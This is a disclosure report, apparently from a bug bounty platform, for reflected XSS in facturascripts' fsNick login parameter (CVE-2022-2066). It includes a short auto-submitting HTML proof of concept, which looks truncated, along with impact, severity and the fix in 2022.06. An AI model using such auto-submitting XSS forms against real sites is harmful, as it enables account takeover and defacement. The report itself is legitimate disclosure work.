Refelect XSS in facturascripts in neorazorx/facturascripts

0

✓ Valid Reported on Apr 27th 2022

Description

facturascripts is vulnerable to XSS in fsNick parameter

Proof of Concept

save this code as poc.html

```
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/" method="POST">
      <input type="hidden" name="fsNick" value="1&apos;&quot;&#40;&#41;&amp
      <input type="hidden" name="fsPassword" value="1" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>
```

open file with your browser -> xss trigger

Impact

This vulnerability has the potential to deface websites, result in compromised user accounts and can run malicious code on web pages, which can lead to a compromise device.

CVE

CVE-2022-2066

(Published)

Vulnerability Type

CWE-79: Cross-site Scripting (XSS) - Reflected

Severity

High (7.1)

Registry

Other

Affected Version

2021.81

Visibility

Public

Status

Fixed

Found by

Minh

@minhnb11

pro

This report was seen 469 times.

We are processing your report and will contact the **neorazorx/facturascripts** team within 24 hours. 7 months ago

We have contacted a member of the **neorazorx/facturascripts** team and are waiting to hear back 7 months ago

Carlos Garcia validated this vulnerability 7 months ago

Minh has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Chat with us

The researcher's credibility has increased: +7

Carlos Garcia marked this as fixed in **2022.06** with commit **73a659** 7 months ago

The fix bounty has been dropped ✖

This vulnerability will not receive a CVE ✖

Minh 5 months ago Researcher

@admin Can you assign CVE for this report?

Jamie Slome 5 months ago Admin

Sorted 👍

Sign in to join this conversation